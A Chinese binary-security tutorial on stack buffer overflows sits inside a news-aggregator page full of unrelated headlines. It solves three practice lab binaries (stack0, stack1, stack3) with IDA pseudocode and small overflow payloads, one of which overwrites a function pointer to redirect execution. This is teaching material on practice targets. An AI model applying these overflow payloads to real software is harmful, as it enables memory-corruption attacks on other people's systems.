最新要闻
- 李想:L7、L8、L9是世界上最安全的车 副驾坐的是我老婆
- 天天快报!美版《西游记》定档!阵容强大:奥斯卡影后杨紫琼饰观音、吴彦祖演美猴王
- 日本原装进口!雀巢金牌速溶黑咖啡大促 28.9元到手
- Android 14不再允许“杀后台”!一键加速App别装了
- 上汽投资成立股权投资合伙企业 出资额5亿
- 环球最资讯丨华擎Intel显卡集体降价 最多20%:RTX 3060瞬间不香了
- 【快播报】《瞬息全宇宙》七项大奖横扫奥斯卡!杨紫琼获封奥斯卡影后:亚洲首位
- 新一代Y9000P来了!联想拯救者2023生态新品发布会官宣
- 环球短讯!小红书后台删用户照片遭系统拦截?官方回应:只是清理临时缓存
- 仅隔17天 中国火箭又一次成功为海外客户发射荷鲁斯2号卫星
- 【世界时快讯】749元 一加Buds Pro 2轻享版无线耳机开售:48dB深度降噪
- 方舟里面风神翼龙怎么抓_方舟生存进化风神翼龙怎么抓 具体抓捕方法介绍
- 每日速递:豆瓣7.9分 《阿凡达:水之道》电影拿下奥斯卡最佳视效奖:实至名归
- 当前速看:iPad Pro 2024要大涨价:比MacBook Pro还贵
- 每日视讯:美佛州海滩清出近两吨死鱼:民众直呼“辣眼睛”
- 全球即时:上班一周不用充电 比油车少花70元!哪吒S用车成本秒杀燃油车
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
全球观速讯丨二进制安全——缓冲区溢出
一.原理。
在软件的安全漏洞中,缓冲区溢出(buffer overflow)是最有名的漏洞之一。
(相关资料图)
缓冲区溢出是指计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。简单来说,缓冲区溢出就是“输入的数据超出了程序规定的内存范围,数据溢出导致程序发生异常”。
首先,请大家分析下面这一段代码,我相信这也是我们经常会编写的一种代码,
#includeint main(int argc, char *argv[]) { char buff[64]; strcpy(buff, argv[1]); return 0; }
这个程序为buff数组分配了一块64字节的内存空间,但传递给程序的参数argv[1]是由用户任意输入的,因此参数的长度很有可能会超过64字节。strcpy函数用于复制字符串,一直复制到字符串的边界,即遇到“\0”为止。因此,当用户故意向程序传递一个超过64字节的字符串时,就会在main函数中引发缓冲区溢出。这里的重点在于,“当输入的数据超过64字节时,程序的行为将变得不可预测”,这就成为了一个漏洞。
那么,我们将通过几个实验来对这部分知识进行实践。
二.实验。
实验环境:
1.kali虚拟机(配置python pwn库)2.ida反编译工具
实验过程中我们模拟真实环境,无源码。
实验一:stack0:
1)首先我们打开ida工具,对文件进行分析。
我们看到的是汇编语言,这里我推荐大家使用ida的反汇编功能(会汇编语言当我没说),按下F5即可。我们就可以得到一串伪代码:
int __cdecl main(int argc, const char **argv, const char **envp){ char s[64]; // [esp+1Ch] [ebp-44h] BYREF int v5; // [esp+5Ch] [ebp-4h] v5 = 0; gets(s); if ( v5 ) return puts("you have changed the "modified" variable"); else return puts("Try again?");}
注意:
ESP(Extended Stack Pointer)为扩展栈指针寄存器,是指针寄存器的一种,用于存放函数栈顶指针。与之对应的是EBP(Extended Base Pointer),扩展基址指针寄存器,也被称为帧指针寄存器,用于存放函数栈底指针。
gets() 函数的功能是从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。
在这里我们发现开始定义了一个数组s,后面要求输入字符串,根据我们输入值的不同,会得到不同的回答。
我们先来随意输入一个值:
我们得到了回复,但我们的需求肯定是得到另一回复,我们只要输入一个长度大于64的字符串即可得到另一回复。
sudo python3 -c "print ("A"*65)" | ./stack0
我们得到我们想要的回显,实验结束。这里我们用了最简单方法,这里建议大家使用od工具,对程序动态分析,可以更深刻的理解该知识点。
实验二:stack1:
我们直接看伪代码;
int __cdecl main(int argc, const char **argv, const char **envp){ char dest[64]; // [esp+1Ch] [ebp-44h] BYREF int v5; // [esp+5Ch] [ebp-4h] if ( argc == 1 ) errx(1, "please specify an argument\n"); v5 = 0; strcpy(dest, argv[1]); if ( v5 == 1633837924 ) return puts("you have correctly got the variable to the right value"); else return printf("Try again, you got 0x%08x\n", v5);}
我们发现这个实验和上面大差不差,但是在做判断时多出了一个判断条件
v5 == 1633837924
在这里我们在ida中直接选中该字符串,按R键
v5 == "abcd"
注意:
在这里我们要注意一点字节序的问题
在这里是小端序,那我们构建payload的字数顺序就应该是“”dcba”
由于对文件分析后我们发现程序不需要用户输入,所以我们编写脚本:
1 import os2 payload = "dcba"*173 cmd = "/home/yaoling/桌面/stack1 " + payload4 os.system(cmd)
实验三:stack3:
int __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax char s[64]; // [esp+1Ch] [ebp-44h] BYREF int (*v5)(void); // [esp+5Ch] [ebp-4h] v5 = 0; result = (int)gets(s); if ( v5 ) { printf("calling function pointer, jumping to 0x%08x\n", v5); return v5(); } return result;}
通过查看伪代码,我们发现其中有gets()函数,以及一个函数指针,我们尝试输入
我们发现并没有回显,继续分析伪代码,发现字符串的含义为调用指针函数,随后指向一个地址,那么这个实验我们的思路就指向了。
回到ida的开始界面,我们通过查看左侧的函数列表,发现还有一个win函数:
我们F5后进行分析
int win(){ return puts("code flow successfully changed");}
根据字符代表的含义我们猜测win函数的起始地址为指针指向地址,那么我们只要覆盖最开始的指针地址,就可以得到正确的回显。
通过Exprots模块我们可以直接查看各函数的起始地址
编写脚本:
payload = "6161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616124840408" print(payload.decode("hex"))
注意这里运行脚本要注意字节序和python版本的问题。
关键词:
-
【环球时快讯】面试官:如何在千万级数据中查询 10W 的数据,都有什么方案?
作者:变速风声链接:https: juejin cn post 7104090532015505416前言在开发中遇到一个业务诉求,...
来源: 全球观速讯丨二进制安全——缓冲区溢出
每日看点!数组指针&一维数组&二维数组ve
【环球时快讯】面试官:如何在千万级数据中查询 10W 的数据,都有什么方案?
网络安全(中职组)-B模块:压缩包破解
全球快资讯:Rancher 管理 Kubernetes 集群
李想:L7、L8、L9是世界上最安全的车 副驾坐的是我老婆
天天快报!美版《西游记》定档!阵容强大:奥斯卡影后杨紫琼饰观音、吴彦祖演美猴王
日本原装进口!雀巢金牌速溶黑咖啡大促 28.9元到手
Android 14不再允许“杀后台”!一键加速App别装了
上汽投资成立股权投资合伙企业 出资额5亿
环球快资讯丨解惑:教你在 Arch Linux 终端上更改 WiFi 密码
教程|在矩池云使用 Stable Diffusion web UI v1.5 模型和 ControlNet 插件
【环球新要闻】应聘软件测试 HR 会问到哪些问题?收藏这一篇就够了!
Nebius Welcome Round (Div. 1 + Div. 2)
环球快讯:火山引擎 DataTester:一个 A/B 测试,将一款游戏的核心收益提升了 8%
环球最资讯丨华擎Intel显卡集体降价 最多20%:RTX 3060瞬间不香了
容声冰箱质量怎么样?容声冰箱怎么调温?
oracle是什么软件?oracle怎么创建表空间?
bios是什么意思?如何刷主板bios?
苹果手表可以连接安卓手机吗?苹果手表怎么配对新的手机?
empty来显示暂无数据简直太好用,阻止用户复制文本user-select
raw格式怎么打开?raw格式怎么转换jpg?
【快播报】《瞬息全宇宙》七项大奖横扫奥斯卡!杨紫琼获封奥斯卡影后:亚洲首位
新一代Y9000P来了!联想拯救者2023生态新品发布会官宣
环球短讯!小红书后台删用户照片遭系统拦截?官方回应:只是清理临时缓存
仅隔17天 中国火箭又一次成功为海外客户发射荷鲁斯2号卫星
【世界时快讯】749元 一加Buds Pro 2轻享版无线耳机开售:48dB深度降噪
今热点:Spring Boot 分片上传、断点续传、大文件上传、秒传,应有尽有,建议收藏!!
全球信息:Ai翻译还是挺香的
限时促销,火山引擎 ByteHouse 为企业带来一波数智升级福利!
方舟里面风神翼龙怎么抓_方舟生存进化风神翼龙怎么抓 具体抓捕方法介绍
每日速递:豆瓣7.9分 《阿凡达:水之道》电影拿下奥斯卡最佳视效奖:实至名归
当前速看:iPad Pro 2024要大涨价:比MacBook Pro还贵
每日视讯:美佛州海滩清出近两吨死鱼:民众直呼“辣眼睛”
全球即时:上班一周不用充电 比油车少花70元!哪吒S用车成本秒杀燃油车
创时速435公里纪录 CR450型动车组首台车涂装完成 顺利交付
【全球热闻】架构师日记-软件高可用实践那些事儿
使用 VS 2019 将 c# 生成 DLL 动态链接库文件
环球头条:获亚洲电影大奖最佳男主角 刘嘉玲给梁朝伟颁奖
全球信息:腾讯前端最高级别专家!T13技术大佬黄希彤被曝遭裁员
环球微头条丨老人推倒摩托案车主回应带货遭网暴:清者自清
男子称花了2999元网购iPhone 13 Pro却收到过保XR:商家已联系不到
今日播报!老人把7万养老钱埋树下找不着 掘地三尺才找回 专家不建议埋
全球热讯:NAT 穿透原理浅浅说 ---转发
前端设计模式——职责链模式
世界微速讯:郑州车辆限行违章怎么处罚_郑州机动车限行
环球快资讯:知名安全公司Acronis被攻击 黑客:他们技术渣 只是羞辱一下
踩踏式降价背后:燃油车这回真崩了
又一地方补贴了 深圳一比亚迪4S店汉EV全系限时补贴1万元
环球视讯!李想:美国人没那么懂车 特斯拉对异响控制是中下档水平
非java异构服务如何集成到SpringCLoud集群中
环球热议:全球首创双枪充电!比亚迪高端MPV腾势D9三月新增订单或再破10000台
当前讯息:我国每年废弃手机约4亿部:你的怎么处理 闲置、提炼金子还是?
焦点消息!多家科技公司被硅谷银行坑了 ChatGPT老板紧急援手:钱先用着 慢慢还
魔兽国服重开遥遥无期 暴雪釜底抽薪:全球服直营
今日报丨Zen4大翻身 AMD移动CPU之王来了:55W战平253W功耗旗舰i9
天天看热讯:读Java性能权威指南(第2版)笔记15_垃圾回收B
快讯:舒筋丸和脑络通胶囊可以一起吗_脑络通胶囊能长期吃吗
焦点简讯:新娘自己主持婚礼省下万元 仅花费160元:网友点赞 本人回应不是给别人看
Docker圣经:大白话说Docker底层原理,6W字实现Docker自由
当前热门:工作一年,我重新理解了《重构》
【QCustomPlot】版本迭代日志
游客饮料不慎掉落被大熊猫雅一捡来喝:园方回应正密切留意
微速讯:30多家车企集体降价:已经没人看得上油车了吗?
当前看点!比尔·盖茨最爱的游戏:用40多年 开启一个时代
【天天快播报】AMD:我们也可以做出RTX 4090!只是不想做而已
天天速讯:抉择!荷兰屈从美国,对华限制但有保留,瑞士顺从美国,面临中资暴减
【天天热闻】MySQL学习笔记-事务
观天下!day01-SpringBoot基本介绍
每日视讯:3-2 字符串
浙江人1年花18亿买香奈儿 网友:原来消费降级的只有我
环球观点:中国杂牌显卡蜂拥进入美国:矿卡滞销 帮帮我们!
当前快看:《生化危机4:重制版》泄露艾达王美图:脚踩恨天高 性感妖娆
48GB大容量配8000MHz高频率!芝奇推出创纪录的DDR5内存
redux crateStore connect
当前快讯:反序列化刷题
天天热门:钻石不值钱了 1/3原价就能买到!中国河南小县城颠覆神话
速读:AMD向Intel正面开炮:顶级性能 不需要高功耗!
网络安全(中职组)-B模块:Web隐藏信息获取
ARC058F
Codeforces Round #857 Div.1 1801 E F 题解
打开MASA Blazor的正确姿势6:表单验证
看点:C#中定义自己的消费队列(下)
焦点关注:什么是牙周炎及症状_什么是牙周炎
SE终于承认《Forspoken》失败:但仍有可取之处
焦点速看:前端设计模式——适配器模式
世界短讯!广西:全面实现高速服务区充电桩100%全覆盖
环球动态:鲜嫩如蛋挞 多鲜岩烧乳酪吐司1斤14.9元
世界滚动:Win10极限精简版系统Tiny10更新:加入远程桌面等实用功能
Intel中国特供i5-13490F闪电降价!这性价比 没治了
计应212小组讨论junit成果
当前简讯:女子沙漠种树16年让县城免于消失 11年前美国预言翻车
每日短讯:掀起汽车降价狂潮之后 湖北再投放5亿元消费券
全球讯息:突破142万人!《CS:GO》同时在线数达10年来最高点
【世界时快讯】ELF 文件
环球快资讯丨表数据量大优化方案设计
2.8K OLED高刷屏!华硕灵耀14 2023轻薄本图赏
女子试驾比亚迪汉撞树:碗口粗的树都弯了 A柱完好无损
环球关注:面向 DevOps 的 Kubernetes 最佳安全实践
焦点速递!9.3.3输入的符号2